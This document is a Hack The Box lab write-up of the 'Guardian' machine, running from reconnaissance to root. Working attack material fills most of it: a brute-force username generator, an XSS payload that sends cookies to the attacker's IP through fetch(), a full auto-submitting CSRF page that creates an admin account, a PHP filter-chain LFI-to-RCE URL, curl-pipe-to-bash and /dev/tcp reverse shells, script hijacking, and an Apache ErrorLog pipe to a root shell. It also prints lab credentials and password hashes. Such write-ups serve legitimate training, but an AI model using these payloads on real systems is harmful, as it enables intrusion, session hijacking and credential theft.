Nmap
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Guardian]
└─$ nmap -sC -sV -Pn 10.10.11.84 -oN ./nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-31 16:55 UTC
Nmap scan report for 10.10.11.84
Host is up (0.43s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9c:69:53:e1:38:3b:de:cd:42:0a:c8:6b:f8:95:b3:62 (ECDSA)
|_ 256 3c:aa:b9:be:17:2d:5e:99:cc:ff:e1:91:90:38:b7:39 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://guardian.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: _default_; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.59 seconds
Add guardian.htbto /etc/hosts
Page check
guardian.htb
From the student portalbutton, there is another subdomain here portal.guardian.htb
Then add it to our /etc/hosts
portal.guardian.htb
From help button, we can get Guardian_University_Student_Portal_Guide.pdf
We can get the default password GU1234, we can generate the wordlist for usernames and brute-force the login page with the default pass
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Generate a username dictionary file in the format GUXXXXXXX
Example: GU0000000, GU0000001, ..., GU9999999
"""
def generate_usernames(prefix="GU", length=7, output_file="usernames.txt"):
with open(output_file, "w") as f:
for i in range(10**length): # from 0000000 to 9999999
username = f"{prefix}{i:0{length}d}"
f.write(username + "\n")
print(f"[+] Username dictionary generated: {output_file}")
print(f"[+] Total usernames: {10**length}")
if __name__ == "__main__":
generate_usernames()
Then we can try to use burpsuite Intruder to help us do that and burp the valid credit
Then set the payload
We can try to start attack and find the different status code back, although this would be a very long process
You can find the account number after GU0142023will be valid here.
And we can get the valid username GU0142023 and the password GU1234to login to the portal
From the chat page, we can try to find how to chat with admin
The typical url is
http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=14
So I guess we can try
http://portal.guardian.htb/student/chat.php?chat_users[0]=2&chat_users[1]=1
Then we can get the gitea:DHsNnk3V503
gitea.guardian.htb
Let's try to check it there with the credit jamil:DHsNnk3V503
Then we can try to login the account jamil

We can check the source code of portal.guardian.htb
We can get the database credit root:Gu4rd14n_un1_1s_th3_b3st
Also, we can find /vendor/composer/installed.json
it uses phpoffice/phpspreadsheet 3.7.0 with xss vuln: https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-79xx-vf93-p7cx
Then let's make a payload xlsx file
><img src=x onerror="fetch('http://10.10.16.14/?cookie='+document.cookie)">

Then let's upload it to Assigmentspage
There is only Static in Buinessassignment could be used here.

We can upload the malicious file here, then we can successfully get the result
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Guardian]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.84 - - [31/Aug/2025 17:32:42] "GET /?cookie=PHPSESSID=00u2eo00ehkkqohptv1l2gb6o4 HTTP/1.1" 200 -
Finally we can open the console of browser and change the phpseessidand reload this page

CSRF attack and php filiter LFI
We can act as lecturer sammy.treat

Then we can come to Notice Board
http://portal.guardian.htb/lecturer/notices/create.php

It said the link will be reviewed by admin, so I guess we can try to find something interesting from the source code
We can find there is a create account function from the source code admin/createuser.php
That means we can try to make a request to create a new admin account and we can sign into this account here
|---|
|`$username = $_POST['username'] ?? '';`|
| |
|---|
|`$password = $_POST['password'] ?? '';`|
| |
|---|
|`$full_name = $_POST['full_name'] ?? '';`|
| |
|---|
|`$email = $_POST['email'] ?? '';`|
| |
|---|
|`$dob = $_POST['dob'] ?? '';`|
| |
|---|
|`$address = $_POST['address'] ?? '';`|
| |
|---|
|`$user_role = $_POST['user_role'] ?? '';`|
So our strategy would be:
use it to do csrf attack on usercreate.php to create admin account, you need to bypass csrf token but you can simply notice that it is global, which means any csrf token for any user/request will work for any other user/request, so just get one from create notification endpoint and use it on your csrf payload to use usercreate.php for admin
So the csrf payload would be
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Creation Exploit</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; }
form { max-width: 400px; padding: 20px; border: 1px solid #ccc; border-radius: 5px; }
input, select { width: 100%; margin: 10px 0; padding: 5px; }
button { background-color: #4CAF50; color: white; padding: 10px 15px; border: none; border-radius: 5px; cursor: pointer; }
button:hover { background-color: #45a049; }
</style>
</head>
<body>
<h2>Admin Creation Exploit</h2>
<form method="POST" action="http://portal.guardian.htb/admin/createuser.php" id="exploitForm">
<input type="hidden" name="csrf_token" value="ac77fe0d82e41d225b1e5f8b07c05c7b">
<input type="hidden" name="username" value="*">
<input type="hidden" name="password" value="*">
<input type="hidden" name="full_name" value="New Admin">
<input type="hidden" name="email" value="admin@domain.com">
<input type="hidden" name="dob" value="1990-01-01">
<input type="hidden" name="address" value="Admin Address">
<input type="hidden" name="user_role" value="admin">
<button type="submit">Create Admin Account</button>
</form>
<script>
// Automatically submit the form
document.getElementById('exploitForm').submit();
</script>
</body>
</html>
For the csrf-token, you can try to use burpsuite to catch the request of creating and you can just change it from the payload.

You can just write this payload to index.htmland open the http server
Then submit your link http://<your ip address>/,then it will worked and you can login with credit *:*
Then we can successfully get into admin portal

We can find on /admin/reports.php use php filter chains to get rce and shell from the source code

It checks for the presence of .. in the parameters to prevent directory traversal attacks such as ?report=../../etc/passwd.
It also only allows file names ending in enrollment.php / academic.php / financial.php / system.php.
So if we wanna bypass the check,we can just add ,system.phpin the end of payload.
Also you can follow the link to get the detail of this vulnerable exploit
https://medium.com/@lashin0x/local-file-inclusion-to-remote-code-execution-rce-bea0ec06342a
We need to use this tool https://github.com/synacktiv/php_filter_chain_generator
Then create the malicious payload
python3 php_filter_chain_generator.py --chain '<?php system("id");?>'
Just remember make the payload like this
http://portal.guardian.htb/admin/reports.php?report=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp,system.php
Then you can find the command running:

So we can continue to make the reverse shell here
python3 php_filter_chain_generator.py --chain '<?php system("curl 10.10.16.14/shell.sh -o /tmp/shell.sh");?>'
python3 php_filter_chain_generator.py --chain '<?php system("chmod +x /tmp/shell.sh");?>'
python3 php_filter_chain_generator.py --chain '<?php system("/bin/bash -c /tmp/shell.sh");?>'
Remember to create your own shell script and open the http server
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Guardian]
└─$ cat shell.sh
/bin/bash -i >& /dev/tcp/10.10.16.14/443 0>&1
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Guardian]
└─$ python3 -m http.server 80
We can successfully get a reverse shell here
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Guardian]
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.16.14] from (UNKNOWN) [10.10.11.84] 46804
bash: cannot set terminal process group (985): Inappropriate ioctl for device
bash: no job control in this shell
www-data@guardian:
Then we can try to upgrade the shell
upgrade to PTY
python3 -c 'import pty;pty.spawn("bash")'
^Z
stty raw -echo; fg
Remember before we have got the database credit root:Gu4rd14n_un1_1s_th3_b3st
www-data@guardian:~/portal.guardian.htb/config$ cat config.php
<?php
return [
'db' => [
'dsn' => 'mysql:host=localhost;dbname=guardiandb',
'username' => 'root',
'password' => 'Gu4rd14n_un1_1s_th3_b3st',
'options' => []
],
'salt' => '8Sb)tM1vs1SS'
];
Then we can find the password hash of accounts
mysql> select * from users;
+---------+--------------------+------------------------------------------------------------------+----------------------+---------------------------------+------------+-------------------------------------------------------------------------------+-----------+--------+---------------------+---------------------+
| user_id | username | password_hash | full_name | email | dob | address | user_role | status | created_at | updated_at |
+---------+--------------------+------------------------------------------------------------------+----------------------+---------------------------------+------------+-------------------------------------------------------------------------------+-----------+--------+---------------------+---------------------+
| 1 | admin | 694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6 | System Admin | admin@guardian.htb | 2003-04-09 | 2625 Castlegate Court, Garden Grove, California, United States, 92645 | admin | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
| 2 | jamil.enockson | c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250 | Jamil Enocksson | jamil.enockson@guardian.htb | 1999-09-26 | 1061 Keckonen Drive, Detroit, Michigan, United States, 48295 | admin | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
| 3 | mark.pargetter | 8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e | Mark Pargetter | mark.pargetter@guardian.htb | 1996-04-06 | 7402 Santee Place, Buffalo, New York, United States, 14210 | admin | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
| 4 | valentijn.temby | 1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6 | Valentijn Temby | valentijn.temby@guardian.htb | 1994-05-06 | 7429 Gustavsen Road, Houston, Texas, United States, 77218 | lecturer | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
| 5 | leyla.rippin | 7f6873594c8da097a78322600bc8e42155b2db6cce6f2dab4fa0384e217d0b61 | Leyla Rippin | leyla.rippin@guardian.htb | 1999-01-30 | 7911 Tampico Place, Columbia, Missouri, United States, 65218 | lecturer | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
| 6 | perkin.fillon | 4a072227fe641b6c72af2ac9b16eea24ed3751211fb6807cf4d794ebd1797471 | Perkin Fillon | perkin.fillon@guardian.htb | 1991-03-19 | 3225 Olanta Drive, Atlanta, Georgia, United States, 30368 | lecturer | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
| 7 | cyrus.booth | 23d701bd2d5fa63e1a0cfe35c65418613f186b4d84330433be6a42ed43fb51e6 | Cyrus Booth | cyrus.booth@guardian.htb | 2001-04-03 | 4214 Dwight Drive, Ocala, Florida, United States, 34474 | lecturer | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
| 8 | sammy.treat | c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2 | Sammy Treat | sammy.treat@guardian.htb | 1997-03-26 | 13188 Mount Croghan Trail, Houston, Texas, United States, 77085 | lecturer | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
| 9 | crin.hambidge | 9b6e003386cd1e24c97661ab4ad2c94cc844789b3916f681ea39c1cbf13c8c75 | Crin Hambidge | crin.hambidge@guardian.htb | 1997-09-28 | 4884 Adrienne Way, Flint, Michigan, United States, 48555 | lecturer | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
| 10 | myra.galsworthy | ba227588efcb86dcf426c5d5c1e2aae58d695d53a1a795b234202ae286da2ef4 | Myra Galsworthy | myra.galsworthy@guardian.htb | 1992-02-20 | 13136 Schoenfeldt Street, Odessa, Texas, United States, 79769 | lecturer | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
| 11 | mireielle.feek | 18448ce8838aab26600b0a995dfebd79cc355254283702426d1056ca6f5d68b3 | Mireielle Feek | mireielle.feek@guardian.htb | 2001-08-01 | 13452 Fussell Way, Raleigh, North Carolina, United States, 27690 | lecturer | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
| 12 | vivie.smallthwaite | b88ac7727aaa9073aa735ee33ba84a3bdd26249fc0e59e7110d5bcdb4da4031a | Vivie Smallthwaite | vivie.smallthwaite@guardian.htb | 1993-04-02 | 8653 Hemstead Road, Houston, Texas, United States, 77293 | lecturer | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
Then from /etc/passwd, we can try to find the valid account here.
www-data@guardian:~/portal.guardian.htb/admin$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
syslog:x:106:113::/home/syslog:/usr/sbin/nologin
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
tss:x:109:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:110:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:111:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
jamil:x:1000:1000:guardian:/home/jamil:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:121:MySQL Server,,,:/nonexistent:/bin/false
snapd-range-524288-root:x:524288:524288::/nonexistent:/usr/bin/false
snap_daemon:x:584788:584788::/nonexistent:/usr/bin/false
dnsmasq:x:115:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
mark:x:1001:1001:ls,,,:/home/mark:/bin/bash
gitea:x:116:123:Git Version Control,,,:/home/gitea:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
sammy:x:1002:1003::/home/sammy:/bin/bash
We can try to crack the password of jamil mark sammy
Also let's use the salt 8Sb)tM1vs1SS to help us to crack it
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Guardian]
└─$ hashcat jamil.hash -m 1410 /usr/share/wordlists/rockyou.txt
c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS:copperhouse56
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1410 (sha256($pass.$salt))
Hash.Target......: c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4...1vs1SS
Time.Started.....: Sun Aug 31 18:37:49 2025 (1 sec)
Time.Estimated...: Sun Aug 31 18:37:50 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 4351.6 kH/s (0.07ms) @ Accel:256 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1901568/14344385 (13.26%)
Rejected.........: 0/1901568 (0.00%)
Restore.Point....: 1901056/14344385 (13.25%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: coquina -> coon23
Hardware.Mon.#1..: Util: 65%
Started: Sun Aug 31 18:37:49 2025
Stopped: Sun Aug 31 18:37:51 2025
Then we can successfully get the credit jamil:copperhouse56and we can use ssh to connect it
jamil@guardian:~$ whoami
jamil
jamil@guardian:~$ id
uid=1000(jamil) gid=1000(jamil) groups=1000(jamil),1002(admins)
Privilege escalation
Firstly I would check sudo -l firstly
jamil@guardian:~$ sudo -l
Matching Defaults entries for jamil on guardian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jamil may run the following commands on guardian:
(mark) NOPASSWD: /opt/scripts/utilities/utilities.py
We can check the source code
jamil@guardian:~$ cat /opt/scripts/utilities/utilities.py
#!/usr/bin/env python3
import argparse
import getpass
import sys
from utils import db
from utils import attachments
from utils import logs
from utils import status
def main():
parser = argparse.ArgumentParser(description="University Server Utilities Toolkit")
parser.add_argument("action", choices=[
"backup-db",
"zip-attachments",
"collect-logs",
"system-status"
], help="Action to perform")
args = parser.parse_args()
user = getpass.getuser()
if args.action == "backup-db":
if user != "mark":
print("Access denied.")
sys.exit(1)
db.backup_database()
elif args.action == "zip-attachments":
if user != "mark":
print("Access denied.")
sys.exit(1)
attachments.zip_attachments()
elif args.action == "collect-logs":
if user != "mark":
print("Access denied.")
sys.exit(1)
logs.collect_logs()
elif args.action == "system-status":
status.system_status()
else:
print("Unknown action.")
if __name__ == "__main__":
main()
Also, we can even write to status.py
jamil@guardian:/opt/scripts/utilities/utils$ ls -al
total 24
drwxrwsr-x 2 root root 4096 Jul 10 14:20 .
drwxr-sr-x 4 root admins 4096 Jul 10 13:53 ..
-rw-r----- 1 root admins 287 Apr 19 08:15 attachments.py
-rw-r----- 1 root admins 246 Jul 10 14:20 db.py
-rw-r----- 1 root admins 226 Apr 19 08:16 logs.py
-rwxrwx--- 1 mark admins 307 Aug 30 23:15 status.py
Let's modify it
jamil@guardian:/opt/scripts/utilities/utils$ cat status.py
import platform
import psutil
import os
def system_status():
print("System:", platform.system(), platform.release())
print("CPU usage:", psutil.cpu_percent(), "%")
print("Memory usage:", psutil.virtual_memory().percent, "%")
os.system("curl 10.10.16.14/shell.sh|bash")
Then let's exploit it
jamil@guardian:/opt/scripts/utilities/utils$ sudo -u mark /opt/scripts/utilities/utilities.py system-status
System: Linux 5.15.0-152-generic
CPU usage: 100.0 %
Memory usage: 37.2 %
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 46 100 46 0 0 29 0 0:00:01 0:00:01 --:--:-- 29
Also get the reverse shell as mark
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Guardian]
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.16.14] from (UNKNOWN) [10.10.11.84] 43920
mark@guardian:/opt/scripts/utilities/utils$ whoami
whoami
mark
Continue to check the sudo -l
mark@guardian:/opt/scripts/utilities/utils$ sudo -l
sudo -l
Matching Defaults entries for mark on guardian:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User mark may run the following commands on guardian:
(ALL) NOPASSWD: /usr/local/bin/safeapache2ctl
Then we can try to run that
mark@guardian:/opt/scripts/utilities/utils$ sudo /usr/local/bin/safeapache2ctl
sudo /usr/local/bin/safeapache2ctl
Usage: /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf
We can catch the flag by Includedirectly
# file.conf
ServerRoot "/etc/apache2"
Listen 8080
Include /home/mark/confs/../../../root/root.txt
Then run the command
mark@guardian:~/confs$ sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf
sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf
AH00526: Syntax error on line 1 of /root/root.txt:
Invalid command 'cc8c833a9a857ea43506626cef51fc61', perhaps misspelled or defined by a module not included in the server configuration
Action '-f /home/mark/confs/file.conf' failed.
The Apache error log may have more information.
you can also use CustomLog for arbitary file write to drop a ssh key for root / or LoadFile to run a shared library.
For the reverse shell as root, I will show you the scripts by Cybertego
#shell.conf
LoadModule mpm_prefork_module /usr/lib/apache2/modules/mod_mpm_prefork.so
ServerRoot "/etc/apache2"
ServerName localhost
PidFile /tmp/apache-rs.pid
Listen 127.0.0.1:8080
ErrorLog "|/bin/bash -c '/bin/bash -i >& /dev/tcp/YOURIP/4444 0>&1'"
Then we can run the command
sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/shell.conf
Finally we can get the reverse shell as root
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Guardian]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.16] from (UNKNOWN) [10.10.11.84] 53342
bash: cannot set terminal process group (23555): Inappropriate ioctl for device
bash: no job control in this shell
root@guardian:/etc/apache2# id
id
uid=0(root) gid=0(root) groups=0(root)
root@guardian:/etc/apache2#
Description
Very interesting and professional exploitation of XSS and cross-site attacks
In summary:
from http://guardian.php/ get the username format as GU<3 DIGIT><YEAR> and also portal.guardian.htb
go to portal.guardian.htb on login there is a pdf with the default pass GU1234 inside
generate a wordlist for usernames and brute-force the login page with the default pass
check out chat: http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=14 for gitea creds
on gitea.guardian.htb get the source code for portal.guardian.php
see it uses phpoffice/phpspreadsheet 3.7.0 with xss vuln: https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-79xx-vf93-p7cx
use xss with sheetname to get the cookie for lecturer by submitting a xlsx file on assigment
login as lecturer, you can send a link to admin to visit on notice create
use this for csrf exploit on usercreate.php to create admin account, you need to bypass the csrf token but you can simply notice that it is global which means any csrf token for any user/request works for any other user/request, so just get one from create notice endpoint, then use that on your csrf payload to usercreate.php for admin
after that login with the newly created admin account on /admin/reports.php use php filter chains to get rce and shell
connect to db, crack the hash for jamil, with the salt from config.php
as jamil just hijack /opt/scripts/utilities/utils/status.py for mark
for root, you can just read the flag with Include /home/mark/confs/../../../root/root.txt (you can also use CustomLog for arbitary file write to drop a ssh key for root / or LoadFile to run a shared library)